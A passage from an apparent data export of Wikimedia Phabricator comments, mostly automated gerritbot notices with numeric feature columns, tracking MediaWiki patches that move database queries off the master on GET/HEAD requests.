[[https://gerrit.wikimedia.org/r/286065]]",,,1461880244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.173913043478261,0.9130434782608695,"Change 286065 merged by jenkins-bot:
Avoid DBPerformance log warnings in saveNamespaces()

[[GERRIT_URL]]"
653800,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286065 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance log warnings in saveNamespaces()

[[https://gerrit.wikimedia.org/r/286065]]
",,,1461879533,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.137931034482759,0.8620689655172413,"Change 286065 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance log warnings in saveNamespaces()

[[GERRIT_URL]]
"
653791,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286038 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries in getAutoDeleteReason()

[[https://gerrit.wikimedia.org/r/286038]]
",,,1461878835,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.071428571428571,0.8571428571428571,"Change 286038 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries in getAutoDeleteReason()

[[GERRIT_URL]]
"
653776,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286028 merged by jenkins-bot:
Avoid master queries on page view in lazyImportLocalNames()

[[https://gerrit.wikimedia.org/r/286028]]",,,1461876655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.04,0.92,"Change 286028 merged by jenkins-bot:
Avoid master queries on page view in lazyImportLocalNames()

[[GERRIT_URL]]"
653772,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286028 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on page view in lazyImportLocalNames()

[[https://gerrit.wikimedia.org/r/286028]]
",,,1461876196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.032258064516129,0.8709677419354839,"Change 286028 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on page view in lazyImportLocalNames()

[[GERRIT_URL]]
"
651568,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284932 merged by jenkins-bot:
Avoid always using DB_MASTER with ?CentralAuthLatest=1

[[https://gerrit.wikimedia.org/r/284932]]",,,1461626423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.454545454545454,0.9090909090909091,"Change 284932 merged by jenkins-bot:
Avoid always using DB_MASTER with ?CentralAuthLatest=1

[[GERRIT_URL]]"
650224,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284932 had a related patch set uploaded (by Aaron Schulz):
Avoid always using DB_MASTER with ?CentralAuthLatest=1

[[https://gerrit.wikimedia.org/r/284932]]
",,,1461352197,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.357142857142857,0.8928571428571429,"Change 284932 had a related patch set uploaded (by Aaron Schulz):
Avoid always using DB_MASTER with ?CentralAuthLatest=1

[[GERRIT_URL]]
"
649791,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284826 merged by jenkins-bot:
Avoid incorrectly setting mFromMaster to true

[[https://gerrit.wikimedia.org/r/284826]]",,,1461277686,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.238095238095238,0.9047619047619048,"Change 284826 merged by jenkins-bot:
Avoid incorrectly setting mFromMaster to true

[[GERRIT_URL]]"
649775,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284826 had a related patch set uploaded (by Aaron Schulz):
Avoid incorrectly setting mFromMaster to true

[[https://gerrit.wikimedia.org/r/284826]]
",,,1461276671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.185185185185185,0.8888888888888888,"Change 284826 had a related patch set uploaded (by Aaron Schulz):
Avoid incorrectly setting mFromMaster to true

[[GERRIT_URL]]
"
635783,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279461 merged by jenkins-bot:
Defer the user save in onCustomEditor() to post-send

[[https://gerrit.wikimedia.org/r/279461]]",,,1458962211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.4814814814814814,0.8888888888888888,"Change 279461 merged by jenkins-bot:
Defer the user save in onCustomEditor() to post-send

[[GERRIT_URL]]"
635360,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279452 merged by jenkins-bot:
Avoid master queries on deletion form view

[[https://gerrit.wikimedia.org/r/279452]]",,,1458902222,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.9090909090909091,"Change 279452 merged by jenkins-bot:
Avoid master queries on deletion form view

[[GERRIT_URL]]"
635138,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279461 had a related patch set uploaded (by Aaron Schulz):
Defer the user save in onCustomEditor() to post-send

[[https://gerrit.wikimedia.org/r/279461]]
",,,1458854511,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5757575757575757,0.8787878787878788,"Change 279461 had a related patch set uploaded (by Aaron Schulz):
Defer the user save in onCustomEditor() to post-send

[[GERRIT_URL]]
"
635110,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279452 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on deletion form view

[[https://gerrit.wikimedia.org/r/279452]]
",,,1458852858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.892857142857143,0.8928571428571429,"Change 279452 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on deletion form view

[[GERRIT_URL]]
"
635095,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279442 merged by jenkins-bot:
Avoid master queries on GET requests for blocking

[[https://gerrit.wikimedia.org/r/279442]]",,,1458851903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,3.9565217391304346,0.9130434782608695,"Change 279442 merged by jenkins-bot:
Avoid master queries on GET requests for blocking

[[GERRIT_URL]]"
635075,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279442 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on GET requests for blocking

[[https://gerrit.wikimedia.org/r/279442]]
",,,1458851044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.9655172413793105,0.896551724137931,"Change 279442 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on GET requests for blocking

[[GERRIT_URL]]
"
622671,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234173 merged by jenkins-bot:
Use DB_SLAVE in TranslatablePage for GET request

[[https://gerrit.wikimedia.org/r/234173]]",,,1457034358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.9090909090909091,"Change 234173 merged by jenkins-bot:
Use DB_SLAVE in TranslatablePage for GET request

[[GERRIT_URL]]"
612988,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269296 merged by jenkins-bot:
Avoid master queries in Title::getLinksFrom()

[[https://gerrit.wikimedia.org/r/269296]]",,,1455805881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.9090909090909091,"Change 269296 merged by jenkins-bot:
Avoid master queries in Title::getLinksFrom()

[[GERRIT_URL]]"
612981,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269197 merged by jenkins-bot:
Avoid DB master block table queries on view

[[https://gerrit.wikimedia.org/r/269197]]",,,1455805503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.6956521739130435,0.9130434782608695,"Change 269197 merged by jenkins-bot:
Avoid DB master block table queries on view

[[GERRIT_URL]]"
605964,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269296 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries in Title::getLinksFrom()

[[https://gerrit.wikimedia.org/r/269296]]
",,,1454967722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,31,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.071428571428571,0.8571428571428571,"Change 269296 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries in Title::getLinksFrom()

[[GERRIT_URL]]
"
605852,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 269197 had a related patch set uploaded (by Aaron Schulz):
Avoid DB master block table queries on view

[[https://gerrit.wikimedia.org/r/269197]]
",,,1454960836,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,31,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7586206896551726,0.896551724137931,"Change 269197 had a related patch set uploaded (by Aaron Schulz):
Avoid DB master block table queries on view

[[GERRIT_URL]]
"
587063,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1917100, @gerritbot wrote:
> Change 261615 merged by jenkins-bot:
> Move category refreshes to a deferred update
> 
> [[https://gerrit.wikimedia.org/r/261615]]

If there are changes to what users observe, e.g. in purging or null editing, they should probably be documented at https://www.mediawiki.org/wiki/Manual:Purge or https://meta.wikimedia.org/wiki/Help:Dummy_edit .",,,1452089700,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,26,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,14.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.75,0.7222222222222222,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If there are changes to what users observe, e.g. in purging or null editing, they should probably be documented at URL or URL ."
586929,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261615 merged by jenkins-bot:
Move category refreshes to a deferred update

[[https://gerrit.wikimedia.org/r/261615]]",,,1452036350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,26,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.9545454545454546,0.9090909090909091,"Change 261615 merged by jenkins-bot:
Move category refreshes to a deferred update

[[GERRIT_URL]]"
586926,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261616 merged by jenkins-bot:
Avoid calling Block::deleteIfExpired() when not needed

[[https://gerrit.wikimedia.org/r/261616]]",,,1452036135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,26,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,13.0,4.260869565217392,0.9130434782608695,"Change 261616 merged by jenkins-bot:
Avoid calling Block::deleteIfExpired() when not needed

[[GERRIT_URL]]"
585232,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261616 had a related patch set uploaded (by Aaron Schulz):
Avoid calling Block::deleteIfExpired() when not needed

[[https://gerrit.wikimedia.org/r/261616]]
